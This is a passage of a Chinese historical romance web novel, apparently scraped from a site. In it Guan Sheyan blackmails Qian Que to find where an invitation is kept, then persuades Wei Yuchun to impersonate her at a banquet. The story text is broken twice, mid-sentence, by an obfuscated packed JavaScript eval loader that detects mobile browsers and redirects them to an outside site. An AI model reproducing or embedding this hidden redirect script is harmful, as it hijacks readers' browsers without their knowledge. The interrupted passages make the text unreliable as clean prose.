关阇彦冷笑一声:“哼,不要你们的狗命,我嫌脏。” 他转头站到钱雀身后,不愿其过于暴露的身躯脏了他的眼,他问她:“说吧,请帖在哪里?” 他跟杜明堂一开始都以为钱雀会因为忌惮表姐钱箬,而将心爱的请帖随身携带,所以才打算今晚直接从她身上窃走。但很显然,钱雀根本不在乎请帖,她只在乎能不能跟心爱的医工行苟且之事,她怎么会随身携带请帖呢? 关阇彦也提前扫了一眼地面上散乱的衣物,里头空空落落,什么都没有。 他当然不能直接打晕他们二人了,因为他得问清楚请帖的下落。 钱雀害怕父亲,当然不可能直接回答。 结果关阇彦来了一句:“钱小姐,你以为现在自己的模样很光彩么?若这么觉得,我明日便可将你们二人的事告诉所有人。” 钱雀脸色大变,好似要碎成窑炉里融温失败的劣质瓷器。她哭起来,低啜声引人头皮发麻。 那男人终于说了话:“你是什么东西敢威胁我们?!再说了你有什么证据能让别人相信你的话!” 关阇彦还没见过这么蠢的东西,他欲言又止,本打算不解释,但思来想去,为了请帖多费点口舌也算值得。 他抬了抬手,修长的手指点在二人身上逡巡了一会儿,讽刺意味十足道:“你倒是提醒我了,我把你们捆了起来,请人为你们二人作画,张贴得大街小巷皆是,如何?你若是还觉得不够,也行,等别人或者钱德大人瞧见了画像后,我再让你们伉俪二人以这样的姿势游街如何?” 他是懂如何快准狠地刺人弱点的,阴阳怪气得很:“真是不好意思,鄙人无用,仅能做到这个地步了,二位不会嫌弃吧?” 男人瑟瑟缩缩了一会儿,钱雀则带着哭腔嚷嚷了起来:“我说我说,请帖锁在我父亲书房第二格的柜子里,钥匙……就在我的房间一只刻着五鹿图的妆奁里。” “嗯,还算识相。” “还有,你父亲派在你身边的那些侍从们呢?” 关阇彦直接拆穿了钱雀,她果然一听此话,眼神都僵硬了起来,好似被一股来自旷古的寒风瞬间刮成了凝固不动的冰块。 关阇彦毫不客气地继续拆穿她自以为是的聪明诡计:“你父亲希望你去春桃宴会给他长脸,但你却洞悉他的心思,利用春桃酒宴与如月阁之事,欺骗他自己毁容。为了面子,还有为了不让你那表姐有机可乘,你父亲一定会答应你深夜瞧病的请求。你利用此机会与人私会。你将你父亲也算计在计划里,美中不足的当然是,你父亲一定会为了你的安危派人护送你。” “但我不知为何,你身边一个人都没有了。” 关阇彦只知道请帖位置可不够,还得有办法混入钱宅才行,但没有身份很难办事,他时间又紧迫,眼下不如借钱宅之人的身份混入其中,但除了护送小姐看病的侍从外,就没有别的人选了。 钱雀胆子甚小,又怕自尊心被彻底摧毁,见小算计被人看穿,她也不想隐瞒下去了:“他们被我迷晕了,我用的迷药。” “人躺在什么地方?” 钱雀:“玉荫街王家院东宅外墙。” 离得不远,都在玉荫街。关阇彦松了一口气。 又闻少女娇滴滴的哀求声响起:“我什么都说了,你能不能不要告诉我爹?你不要画下来,我也不想游街。” 关阇彦不解地看向她:“既有廉耻之心,当初怎么没想要悔过?自己做过的事,可没有后悔药吃。” 钱雀急急忙忙挥舞双手,想要弯腰捡起来一件衣服将不耻的地方遮住,嗓子里呜呜咽咽止不住,和她绑在一起的男人被她的动作带得摇来摇去,像成了不会走路的不倒翁。 男人露出了真实的面目,不耐烦地骂她:“你没长眼睛吗?动不了就别动了,害人!” “你!你!你怎么这么和我说话?!”钱雀亲眼见识男人的背信弃义,面如死灰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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时间已经拖了又拖,关阇彦必须在天亮前将魏郁春说服,让她假扮钱雀混入春桃酒楼。 否则天一亮,钱德一发现请帖和女儿都消失了,必会派人彻查。 春桃酒宴虽自午时开宴,但许多贵女往往提前赶至楼中欢喜玩乐,结识好友。所以只要魏郁春以钱雀的身份提前进入酒楼,钱德必不会说什么,届时他再放出点风声,钱德便会以为是女儿昨晚就偷走了请帖,一夜未归直接去参加酒宴了,毕竟有能拿走请帖的钥匙的人唯有他们父女二人。能碰请帖的,除了钱德,自然只有钱雀本人了。 如此一来,既能解释昨晚钱雀未归一事,又能解释请帖消失一事。至于理由,钱德再怀疑也得等午后酒宴结束才能得以化解,到那个时候,正主回归,帮忙遮掩风声,钱德的怀疑到最后只会被彻底打消掉。 距离天亮还有不足三个时辰的时间,出城回城是一个时辰,上山下山是一个时辰,最后他能跟魏郁春周旋的时间,竟被活活压缩成了一个时辰。 关阇彦心急不已,他飞速离去,即刻回到杜府,杜明堂一夜未眠,毕竟在关阇彦出门之前就要求他在他回来之前要随时待命。 杜明堂在屋子里困得眼睛要阖不阖的,心里抱怨起来。 不就是劫一个弱女子吗?怎么要这么久?! 关阇彦回来的时候,杜明堂以为终于可以解脱,蹦蹦跳跳跟过去,结果只看到了关阇彦骑马而去的身影。 他消失的速度极快,一眨眼间,杜明堂就看到他的身形,已经被压缩成了一只微不足道的小点。 回神间,杜明堂才注意到自己手里有一张关阇彦递给他的纸条,也不知是什么时候给他的,迅雷不及掩耳的,他几乎没察觉到手里多了东西。 他将信纸展开一看,寥寥三俩行——“去玉荫街的园子里将钱雀和她的情夫原封不动地送回府里,严加看管,连夜请府里善书画的先生为他们二人作画。不等我回来,不肯将二人释放。” 什么乱七八糟的? 杜明堂纳闷得很,不是只有钱雀在园子里吗,什么时候又多出来一个情夫?不是说送回府里迷晕了看管就行吗?突然要给他们作什么画?他杜明堂是太闲了? 关阇彦离开的匆忙,交代的话不清不楚,虽然没有缘由,但好歹让杜明堂知道接下来要干什么。杜明堂不再犹豫,当即唤了府里体力甚好的劳力,带着一只抬人的木担架秘密上了路,一到园子,他果然看到了有两个一男一女的身影晕躺在野地上。远看不觉得什么,近看吓一跳,男女二人浑身精光,也就女子好一些,上半身起码还有一件肚兜。 不仅如此,男女的腰上还被缠了东西,那是一条男人的腰带,勒得死劲,杜明堂试图去碰它,结果发现绳结纹丝不动。 杜明堂意识过来,原来这位钱雀小姐深夜出门根本不是找人看病的,她压根就没毁容,出门其实是跟老男人私会的! 他一边唏嘘一边嫌恶。毕竟这二人面对面深入交流的模样的确太过……龌龊,关阇彦肯定是故意这样保留他们的动作的。 结果光是这样还不够,关阇彦还要他将二人交换的场景画下来,简直是恶趣横生,不应该单纯说是心狠手辣了。 杜明堂沉默半晌,明白关阇彦是打算用此当作威胁钱雀的条件,他深呼吸了一口气,然后拢了拢袖子,一边退后一边笑叹:“我去,都督生猛啊。” 86. 视而不见(2) 凌晨,今日山上雾蒙蒙一片,在本就伸手不见五指的夜里,这些呛人肺腑的湿雾加重了视野的障碍。 魏郁春在睡前特意在屋内留了一盏灯,在雾中荡出一圈朦胧的昏黄色,默默地映衬在一侧窗户上。她并不适应山上的这种气候,于是半夜起了很多次身,咳嗽半晌后才能继续睡下,以至于后半夜,她的睡眠都不太安稳。 她听到几声窗户叩动的声音,很快就睁开了惺忪的眼,一下子在窗边看到了半边人影,那人影被光映衬得大了好几圈,看起来块头好像能把屋子撑破。她一下子清醒,结果听到映着人影的窗子还在发出声响,那个人影在叩她的窗子。 什么人? 她警惕非凡,可很快一个熟悉的声线就响了起来——“冯迎春,开窗户。” 关阇彦?! 他来做什么? 魏郁春睁一只眼闭一只眼,对此不闻不问,觉知此事并非幻觉后,她依旧躺在床上一动不动,听着那呼唤的声音越来越急促,她心里竟得到了久违的快慰。 “我知道你没有睡,别装了。” 关阇彦说着,这些话很是熟悉,在古溪村时,他们也有过这样的敲窗对谈的经历,就连拆穿她的话都显得如此相似。 魏郁春怔了怔,许是汹涌的回忆暂时击垮了她的理智。她听到关阇彦的声音里夹杂着些许的不安,这让她的注意力全部集中起来。她从未见他有如此不安的时候。 “冯迎春,我跟你道歉。你把窗户打开,我有事找你帮忙,你可以提任何条件。”关阇彦是完全豁出去了。 可以提任何条件? 魏郁春眼睛瞬间亮了起来,她可以借此机会回朔州府一趟,昨日烦恼她整整一日的难题,竟这么快就有了着落。她心里欣喜起来,也来不及去顾虑对的关阇彦排斥。 既是如此,她得去看看他到底要自己做什么。 魏郁春终于起了身,她整肃好神色,启开了窗户,能感受到窗户外人影的呼吸声,却看不见对方任何一处毛孔。 她皱着眉头,压着心中不悦,冷道:“进来说话吧。” 关阇彦从窗子翻身出来,这个屋子的门与杜明茜的门几乎是连着的,若是有人走动出入,门边必会传出声响。关阇彦不希望此事牵扯到杜明茜,不得已的情况下,他只得寻得偏门与魏郁春交流。 魏郁春在屋内多点了两束光,也终于看清了关阇彦的模样,他束了发,面上摘掉了黑色面罩,浑身还穿着夜行衣,与屋内边缘的颜色几乎融合在一起,寻不到身影的轮廓,看起来有些怪异。他有几缕额发漏在外面,沾了汗水微微勾在他的鼻尖,他眉头紧紧皱着,胸口还急促起伏着,但气息皆被他压抑着,他面色紧绷着没让自己失态。 他怎么会如此着急? 魏郁春惊愕了片刻,但很快就从他身上移开了目光。 她坐到床边默默把玩着手边的桃核手串,对他完全是一副视而不见的态度,更不谈有要跟他搭话的打算了。 关阇彦挑了挑眉,想到先前跟杜咏和杜明堂父子俩谈话后得出的结论——看来她真这么喜欢我。 他看到魏郁春无视他的模样,第一感觉是,这个结论站不住脚。可又想起她就是这样一个时常疏远他人又拧巴的人,或许她为了面子还在逞强吧? 他心里莫名窃喜了一瞬,但很快就把情绪拉回正轨。 他重新蹙起眉头,对魏郁春郑重其事道:“我与杜明堂最近着手于刺探掉包我身份的人,前提是要混入叫做春桃酒楼的地方,我与明堂都认为没有比你更合适的人选,请帖也已经准备好了。” “他已经先入为主了?”魏郁春看都没看他一眼,心里想道,越来越觉得心寒,甚至显得可笑,“他凭什么觉得我能答应他?他还是一如既往地高傲,好像所有人都应该拜服于他的安排一样。” 她可不想让他如意。 毕竟,想当初亲口说出那些伤人戳心话的、要恩断义绝两不相欠的人不是她,而是他关阇彦。不管他到底是不是安南都督,是不是自己曾经的姐夫,是不是自己喜欢过的人,但凡二人有些真情,他也不该说出那种话,做出这种事。 她不喜欢被欺骗和玩弄的感觉,所以厌恶他那副睥睨万物的作风。 魏郁春垂着眸默默摩梭着手中的珠串,质感油滑,不亚于她灵敏狡猾的心智。 她忽地勾起一只意味不明的笑,凉凉的,甚至有些刺眼。 她道:“我们不是两不相欠了么?以后不会再见面才是。” 关阇彦锁起的眉沟更深了些,他的手心攥了攥,心道她果然还会对此事耿耿于怀。 他顿了顿,本以为魏郁春让他进来,便约等于她接受了自己的要求,但如今看来,她却是毫无动摇的模样,到底是怎么回事?他的胜算骤缩,也让他放下了些许傲气,不由得叫自己站在魏郁春的视角看待自己的行为。 在对方满心期许对他表明心意的时候,他狠心将她推开不说,还故意说了很多刺激对方自尊心的话。 在对方心意渐冷的时候,他怕自己动摇,一边刺探她,一边又借此对她造成二次打击。 如今呢,在自己说出从此再不相见、两不相欠的话后,他却自己原路折返,跟她道歉,让他帮自己做事了。 若他是魏郁春,一定会觉得他真是有病。 关阇彦怔了怔,这是他极少数为他人思考的时候,但这不妨碍他发挥锲而不舍的精神。她若还对自己念念不忘,她又为何专门说出这些话来反刺他?欲拒还迎难道就是这样的吗? 所以越是这种时候,他越应该迎难而上。 “的确,我没想过再有机会与你碰面,但事出突然,也是我没办法预料的事情。时间很紧,你想要什么条件,尽管和我提。” 魏郁春抬眸看他,讥讽之意半分不减:“我没什么想要的,你能给我什么?” “你不答应,我不会送你回南禺。” 这是利诱不成,要威逼了。 魏郁春微微歪了歪脑袋,只是不解:“昨日你送来食盒时,不是说会补偿我吗?送我回南禺是你自己答应下来的事,何时成了威胁我的理由?” 她面色单纯,好似人畜无害,但那双透露着不解的眼却像刀子一样,无情地刮打在关阇彦的脸上。 她是在讽刺他,她清楚他视尊严为命的性子,所以故意用这样的方式刺激他。 明知故问,尤为伤人。 关阇彦笑了,不知为何,那股心里急躁躁的火突然就被灭了个干净。 而没等他说话,魏郁春就毫不示弱地先说:“我知道你想说什么。我现在寄人篱下,没有资格谈条件,你若要将我一辈子困在这里,我便是自尽,也不会如你意。” “你不是怕死么?” “信不信由你。” 魏郁春是怕死,甚至会为了保命而不惜一切代价。 但她绝非是没有底线的人,有些时候,她的偏激做法也常常让关阇彦无法理解。 万事无绝对,在她身上得到了完美的印证。 关阇彦点了点头,他默默舔了下干涩的嘴唇,与她对峙,竟紧张了起来。他朝着她的方向大步跨了几步,一直到她跟前,他才停下。 他丢了手上的刀剑,猛然抬臂向前抓了过去,紧紧攥住了床边一只立柱,他身影下倾,与魏郁春的距离仅差两指,坚挺的鼻梁隔挡开雾中徘徊的朦胧灯影,他的眼里只能看到她的面容,她亦是如此。 魏郁春盯着他近在咫尺的凌眸,呼吸滞住,不知是被吓到了,还是旧情复燃,她皱了皱眉,想要瞥走眼,但关阇彦却追着她不放。 他死死盯着她,嘴角挂起邪气的笑,好似在嘲讽她:“冯迎春,你不是喜欢我么?如果我说我可以答应你这样的要求,你 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他头疼地移开了眼,回想方才自以为是的动作,只觉得有些可笑。 既是讨厌,总得有个原因吧?她之前那么喜欢他,不过一瞬间,她就可以对他彻底失望,就此远离? 她到底是怎么做到的? 她在害怕什么?害怕他对她说过的那些羞辱她的话? 不,真正的魏郁春只会感到恼怒,并与他对峙,不会逃离。 这一切到底是怎么回事? “冯迎春,为什么怕我?” 关阇彦感到疑惑,甚至一种被回忆引发的落差感让他感到急躁。以至于他非要穷追不舍,问出个所以然。 在亮暗的交界处,魏郁春冷漠的话音自对岸幽幽飘荡过界。 “因为天命。” 因为天命将他、魏家还有她的命运死死缠在一起,让她感到后怕和恶心。她讨厌天命的安排,重生后,将这个人重新与自己结识在一起,让她感觉自己好像被玩弄。更诛心的是,关阇彦这个人也是这样一个喜好玩弄她的角色。 “你到底在说什么?”关阇彦根本无法理解她的话和情绪。 事已至此,魏郁春早已不想说话。她挥挥手:“我不接受你的道歉,以后不要再见面了。” 关阇彦定在原地,若是从前他哪里会忍耐到这个时候?可眼下,他不得不委曲求全,为了自己为了杜家,为了关家。他这点面子有什么不好舍弃的?舍小保大,理所当然。 他咬咬牙,追着魏郁春不放:“安南都督,是吗?” 当所有答案和猜测都接受试错,最不可能的结果定是万物发起的根源。 魏郁春微微抬起眸子,定定地看着他,明明什么话都没说,可眼底用平静掩饰的波涛汹涌却瞒不过关阇彦的眼。 真的是因为安南都督……他想过魏郁春是因为得知自己的真实身份而远离自己,可这个念头毫无根据站脚。比起这个,他更相信魏郁春是因为太过喜欢他、又害怕颜面扫地才有那些反应。 眼看魏郁春不动,关阇彦只想着尽快追到她跟前来,把话说清楚。 他道:“是,我隐瞒了身份,但我之前说得很明白,我在南禺遭遇追杀,若暴露身份,恐会牵连你们。但你先前分明对此有所察觉,会因为此事无法释怀么?” “我本以为你是因表明心意一事感到无地自容,我也道过歉了,你喜不喜欢我,我不在乎。我也承认先前自己太过冲动,方才也为了维护面子对你说了不合适的话,甚至想利用你对我的心思让你帮忙。” “现在把话说开吧。” “冯迎春,你到底在害怕什么?或者是……”关阇彦微微将长眸睁大,一眨不眨地低望着沉默不语的魏郁春,“我该问问你,你到底是什么人?” 87. 视而不见(3) “身为中晋安南都督的我,应该和你有什么关系么?” “我到底做了什么丧尽天良的事情,让你在一瞬间对我感到厌恶?” “是流言蜚语?” “什么样的流言蜚语能传到偏僻的南禺村落?” “还是说,有什么人用了那恶毒至极的换脸术,顶着我的名声在外作乱了?我到底是不是做这种事的人,冯迎春你不会不清楚。所以你到底是心里过意不去,还是真的在恨乌及乌?” 关阇彦步步紧逼着。 “还有,你因为我那些毁你尊严的话感到难受了?” “我不喜欢你,难道我不该拒绝你么?如果我答应了,难道不是害你么?为了让你彻底对我断了念想,我的确做得偏激了。但我做错的地方我认了,该说清楚的话我也交代了,以至于有事相求时,也叫你提任何条件,我都可以满足你。事到如今,你到底还想要我怎么样?” 他还是第一次以这种步步紧逼的姿态去跟一个人讨公道,不得不说,魏郁春这个女人当真有能让他抓耳挠腮的本事。分明不讲理的人是别人,他却要像个怨妇一样……他知道如今这样不妥,但他根本忍不住继续下去。 “你一直都这么奇怪,好像一个壳子里装了别人的灵魂,格格不入,我根本看不透你。” “冯迎春,你给我把话说清楚了。” 对方一遍又一遍地喊着“冯迎春”,本来一身冷正气的魏郁春却越来越感到心虚,她的节奏被对方彻底打乱了。 她紧张地吞咽了口水,眼神微微闪躲,好似寻到了什么理由好应付过去。 “从前便听闻中晋的安南都督格外歧视南禺之人,喜好找无辜的南禺人发泄情绪,恃强凌弱,此人生性傲纵,睥睨万物,看着光明正大,背地里却喜好搞些上不来台面的小动作。这样的人,我不应该害怕么?” 她怎么可能把自己前世与他相关的种种因果说出来,可已经走到这个地步,她若不回应他,后果不堪设想。 空气静了静,板着脸神色肃重的关阇彦好似被石化成了一座雕像,他眉头未解,唇边却控制不住上扬,那是无力又感到可笑的表现。 是,魏郁春说的那些流言,他的确也听得不少,是流窜在中晋大街小巷的无稽之谈,既是无稽之谈,他从来不正眼瞧它们一眼,只以为这种上不来台面的东西怎么可能对他有所影响,也想不到这些话还能传到南禺。 他做梦都想不到,真有一日,会有人因为这些话对他感到厌恶。 他觉得不可理喻的同时,对魏郁春更失望了:“你就拿这种东西敷衍我么?” 他不信。 魏郁春猜到会是这样的结果,所以她在准备这么应付他的时候就想好了另一手对策,她语气平稳,理所当然道:“集市上往往会有很多野本,不少实事与市井传闻皆在其中。” “你家中并没有任何这些野本存在的痕迹。”关阇彦跟她继续耗下去,等到对方什么时候耗不下去了,他便什么时候收口。 魏郁春:“我看到了但不会买,家中负担大,看不到难道不是应该的吗?” 关阇彦默住,这的确是一个理由。 魏郁春又道:“除此之外,你觉得我还能从什么地方得知安南都督的事?又为什么对你感到排斥?你心里明明很清楚这些,一直抓着我不放难道会得到更多的答案么?莫非,你觉得我和南禺的黑衣人们一样,披着冯迎春的脸皮,本身却是另一个人么?” 她压着心里的不安,因为她的确不是真正的冯迎春,但也不是靠披着冯迎春脸改变身份的。不管怎么解释,她都无法说清。 关阇彦听着她的话,瞳色震了震,的确,除了魏郁春自己说的这些理由,她又能从什么地方了解自己?尽管荒谬,但他不得不亲口承认这些都说得不错。 可他的直觉总告诉自己事情没那么简单。 这个冯迎春…… 到底在搞什么鬼。 他忍不住奇怪的感觉在脑中乱窜,直接说出口:“希望你说的话都是真的。” 魏郁春深呼吸了一口气,不知不觉间,她早被绕进了关阇彦营造的陷阱,无法脱身,她想要结束僵持不休的话题。然而能结束的办法只有一个——妥协。 她道:“我帮你,但我有条件。” 关阇彦没想到她会突然答应他,他懵然的时候也连忙道:“尽管说。” “这件事之后,你别再来找我了,不要深挖我,心情、态度,甚至是身份,你都不要过问了。春桃酒宴后,你得放我走,但我想要去哪里,你都不能打探,一切保密行事。” “你让我很有负担。” 神神秘秘,基本上放弃了隐藏,生怕别人不知道她接下来要做什么见不得光的事。魏郁春不傻,知道这么做会意味着什么,可她除了破罐子破摔,还能怎么挽回被怀疑的局面呢? 初见时的疏离感将关阇彦牢牢关在一扇无形的门后,关阇彦只觉得他们像素未蒙面的陌生人。自以为的魅力,无法控住某些事物,这种感觉堪称奇妙的体验。 眼前的女人很特别,尽管陌生冷漠,他却不由自主地欣赏她,就像之前一样。 关阇彦想要问她到底准备做什么,可疑惑压回肺腑。 他得信守承诺,于是颔首:“我答应你。” 魏郁春却不信:“写保证书给我,谁知道你之后会不会再像今日这般反悔?” 关阇彦哂笑了笑,转眼看到桌案上的笔墨,龙飞凤舞下来,一张保证书既成,话尾还落了一只他用墨水印下去的指纹,以示发誓。他把纸张卷好给她,眼底带着深不可测的笑意:“这下可以了么?” 魏郁春远远从他手上接过那卷纸张,好似嫌弃什么似的,关阇彦瞧她那般,也很快将手收回去,抱着胸站在不远处,活像跟铁柱子,笔直笔直的。 他听到了魏郁春扫视完保证书内容后的声音响起:“可以了。” “那走吧。” 关阇彦从地面上握回兵刃,洒脱转身,哪有方才气急败坏追着人非要问清楚个所以然的架势?果然,男人总是得到了什么便不会懂得珍惜了。 魏郁春对此深以为然,她跟着关阇彦一起从窗子翻身出去,但在屋内她还能借助窗边挨着的一张桌子当踏板,出去后,一片矮草,根本没有支撑之物,她又不能闹出太大的动静,惊扰了隔壁的杜明茜。她紧绷着身上每一块肌肉,奈何这具身体好似比前世的还要较弱,根本使不上什么劲儿,她绷着脚尖,想要触碰地面,但外面雾色扰乱视角,她以为的地面实际上要比真实的高上几尺,她的身体落空了。 眼看整个人的腰都要从窗棂处滑倒下去,必然吃痛,关阇彦从她身后一把牵过她冷冷的手,温热的触感自手心传递至全身,最后她的腰杆被他稳稳抱在了手臂上。魏郁春的手没了支撑,只好由着本能,抓住了关阇彦胸口的领子。当她意识到自己的行为时,她的手已经攥在上面有一会儿了。 周遭安静得好似幻境,魏郁春惊魂未定,望着近在咫尺的那双眼睛。 关阇彦勾唇一笑:“还要抱到什么时候?” 魏郁春觉得自己此时的举动,完全在打自己的脸,她整肃面色,连忙松手,关阇彦将她放下来。她的双脚刚一落地,就以一种无法用肉眼捕捉的速度朝远处蹦了几蹦,她愕道:“实属意外。” 关阇彦敛眸正色,没有言语,好像在默默打量着什么,也许是错觉,但魏郁春还是觉得浑身不自在。 “你有什么话要说?” 她伪装起来,镇定道:“希望我们以后永不相见,各自尘埃落定。” 其实她的伪装有些拙劣。 幸好关阇彦没有在意,他着急忙慌地邀着她踏步离去,一匹骏马闲散地蹬着蹄子,被绳子拴在一颗参天松树上。关阇彦将自己的面罩重新带好,将骏马牵到魏郁春面前:“骑过马么?” 魏郁春生硬地摇了摇头,她抬手缓缓放到了骏马的马面上,几缕鬓毛散在马面前,陌生的触感让她感到一丝难以言说的兴奋。这是她人生第一次骑马。 在她从前的认知里,女子就应该在闺阁里修着各式各样的礼仪规矩,但她知道,这仅仅是她的生活而已,她偷偷摸摸看着很多野籍,知道有太多人仗剑天涯,行走江湖,骑马赏花……自由非凡,好似快活似神仙,一步一笑癫,比行走在云间还要猖狂自在。 所以兴奋自是会兴奋的。 关阇彦向她伸出一只手,道:“我拉你上去。” 他让她先抬腿踩稳一边侧襟上挂着的脚蹬,耐心嘱咐:“速度得快,否则踩得马不舒服了,小心弄个人仰马翻的下场。” 他说这话时,魏郁春的脚已经放在脚蹬上有一会儿了,她闻言一惊,速度飞快地往上一跃,歪歪扭扭地坐到了马背上,马匹呻吟了一会儿,温顺非凡,哪有关阇彦说得那么可怕。 此时她又听到夜色下男人的轻笑声,带着看完什么拙劣笑话似的情绪,听得人有些刺耳。 关阇彦看着她,心中暗暗嗤道:还真是一如既往地怕死。 而魏郁春则没好气地想着:他又故意耍弄她?!是故意看她的笑话么? 没等她质问,关阇彦就一边轻装上马一边道:“我时间紧,哪有那么多功夫慢慢教你,自是要逼你胆子大点。” 魏郁春默默冷哼了一声,后又感觉到身后男人温热的喘息,几乎紧紧贴在她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447430|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后。比起关阇彦,她的身材好似没长大的猫崽仔,看起来柔软好欺,对方只需要一只手臂向前揽,她就被完全圈在了对方的怀里。她从未与男人有过如此亲密的接触。 关阇彦两只手臂一起向前揽,抓住缰绳,一声令下:“驾——” 骏马快驰,在平淡的夜色里划开一道清丽的风景线。 耳边的风声呼啸,好似各有大海徜徉汹涌,风声骚动,将周身的雾气都一扫而空了,凌晨东方近似不见的薄光铺着山路,前方清晰了许多。二坊山虽不高,但一路颠簸也足够吃力。关阇彦不得不稳稳攥住缰绳,以免身前的女子稳不住动作滑落马身。距离太过亲近,关阇彦的话声都比平日听起来有磁性不少,勾得人心神慌张。 “别误会,”他的语气依旧那么欠揍,“我赶时间,只能委屈你再多跟我接触一会儿了。” 魏郁春梗着脖子,怔怔颔首,幸好留给关阇彦的只有一个披散着长发的背影,让对方看不出自己的窘迫和僵硬。她什么话都不用说,就显得自己足够高处不胜寒了。 关阇彦带着她回到了京城,城内一片萧索,无人无影,空城孤巷,繁华精致的亭台楼阁遍地生长,可依旧无法遮掩没有半点人味这一事实,呼吸一口空气都感觉冷得人心慌。现在时辰还早着,他们赶上了。 马匹奔波,但不嘶鸣,很是乖顺,一路下来,没有惹动多少尘嚣。 魏郁春被顺利地带入了杜府,杜明堂也刚收拾好钱雀那边的烂摊子,跑过来跟他们二人汇合。杜明堂将魏郁春带进了一个房间里,房间里还有女子惯用的香氛在其间氤氲,那香气跳脱,是妙龄少女的喜好,魏郁春一下子就猜到了这只空房间的主人——杜明茜。 杜明堂刚把人带进屋子,就先心有余悸地跟关阇彦说起话来:“关阇彦,没让我妹妹发现这事吧?要是被她知道我动她东西了,我肯定会被揍死的!” 关阇彦挑眉不理,颔首示意。 杜明堂叹了一口气,罢了,就算被发现了又怎么样?整个杜家,除了他娘,便只有杜明茜有着最为华贵的珠宝首饰和最齐全的妆品了。魏郁春要扮演的人是钱雀,一个十六岁的粉嫩少女,她娘的那些首饰妆品再好都用不上,短时间内也无法将所需的东西凑齐全,所以只能借用杜明钱闺房里的一用了。 他拍拍胸脯,念叨起来:“最好不要被发现。” 万事俱备,只欠东风。 杜明堂张望了望外头的景象,看到两个从住宅过来的人影,说道:“我娘派过来的嬷嬷到了。” 他旋即拍掌,唤嬷嬷们进来。这两个嬷嬷都是杜夫人的贴身下人,眼睛跟嘴巴管得死紧,人品更是沉稳衷心,用她们,所有人都放心。 关阇彦将面罩拆掉,将在杜府里惯用的席帽戴好,好叫人不觉得他过于可疑猥琐。他很快占到一侧去,给二位嬷嬷让路。 二位嬷嬷手里一人各托举了一只大提箱,嬷嬷们一起蹲下身子,将二只箱子掀开,里面整整齐齐放着至少十来件的华美衣裙。杜明堂也看直了眼。 嬷嬷道:“听闻少爷要请人回来帮忙,夫人担心小姐的衣裳不合身,又打听到了钱雀小姐平日偏爱的衣物颜色,于是早早唤人买下了这些。” 杜明堂感叹:“我娘雷厉风行啊,这事我都不知道呢。冯姑娘,看我娘待你多贴心,这次宴会上你可得好好加油。” 看重利益,拐弯抹角,油嘴滑舌,颇有贪商的作风。 关阇彦侧过眼不看他,只是对着魏郁春提醒道:“既然如此,就不担心衣裳不合身的问题了,你选一件自己喜欢的。” 嬷嬷笑了起来,围着魏郁春,弄得人越来越拘谨,肉眼可见。她们笑呵呵地服侍着她:“请姑娘挑选。” 魏郁春体验了一把受宠若惊的感受,清高的架子一时无处可放,两只手文文静静地摆在腿上,微微弯唇应付嬷嬷们的热情。 杜明堂拖着下巴看着魏郁春,由衷感慨:“南禺的女子都生得这般明媚么?” 他本着自言自语的心态说话,未想过一直不吭声的关阇彦会突然回他:“不,只有她一个人这样。” 杜明堂震了震,拿手去碰关阇彦,神神秘秘地笑起来:“哎,你这么在意她?我都没听你夸过女人。” 杜明堂真的热衷于撮合他跟魏郁春,坚持不懈得离谱。 关阇彦眉角一抽:“你小子脑子里只有这些情情爱爱的东西么?” 杜明堂诡笑着,丝毫没有被他攻击到,然后一语道破二人现状:“那你干嘛压着声音说话嘛,不就是生怕被她听到吗?你这是不好意思了。” 关阇彦抬手将他推开,冷笑:“哼,你自己去一边脑补去,别来吵我。” 88. 春桃酒宴(1) 宅子里陌生的下人的脚步声响动起来,开始打扫内务。 魏郁春在嬷嬷们左一句右一句热情的催促下,信手挑了一件柔白色的长裙,若是普通女子,有这件料子绝妙的衣物绝对够了。可如今挑选它的人是魏郁春,衣服不免显得有些简陋,根本撑不起魏郁春这张生着明眸皓齿的面容。 关阇彦隔着一层白帘,看着魏郁春的动作还有嬷嬷们面面相觑的神色,不禁皱眉扶额,毫不客气地道:“冯迎春你是要去奔丧么?挑这么素的做什么?” 就是他一个男人都看得出来这件衣服有多寒碜了,魏郁春是真的没品味还是打算胡弄他? 杜明堂大惊失色,在他边上嘟囔:“跟人家漂亮小女娘讲话就不能委婉点?一点都不懂得怜香惜玉。” 他赶紧站出来打圆场,然后从嬷嬷身边走过,把颜色素的都挑走了,然后对着冯迎春耐心道:“冯姑娘,我看这些都不错,从这里选吧。” 他话音没落多久,关阇彦则又冒出话来,话音严肃正经,甚至有些说教的意味,与平时相比判若两人:“春桃酒宴人多眼杂,面纱之下真容未知,总有人会动歪心思,宴上更有一些可能与钱雀打过交道的贵女。若出意外,这也不失为一项保护自己的措施。总之,莫叫别人看出破绽便好。你应该知道该怎么做了。” 魏郁春不好意思地撇去半边脸,重新正视面前熠熠生辉的精美衣饰,耳边垂红,不得不承认此时战局下,她占了下风。 她迅速挑走了一件格外夺目的金粉色纱罩莲花绸裙,嬷嬷欣慰地笑了,旋即又抬出屋内半箱子的首饰,让她挑选,她想着搭配,尽挑选了一些嫩色的首饰,一个个的看起来都十分贵重。 准备工作迅速完成,嬷嬷们齐齐对关阇彦和杜明堂恭敬道:“二位公子先请移步出去,我们将服侍姑娘穿衣打扮。” 嬷嬷说话的功夫,魏郁春正就着窗边的晨光看清楚梳妆台上摆得整整齐齐的各式脂粉骡黛口脂,首饰盒内耀眼夺目的耳坠项链珠串……这些东西她很熟悉,大户人家的女儿,即便地位不高,出门在外也代表了家主的面子,所以她还是魏家女儿时,一直都会早起梳洗面妆,跟母亲一起去父亲的宅子请安。 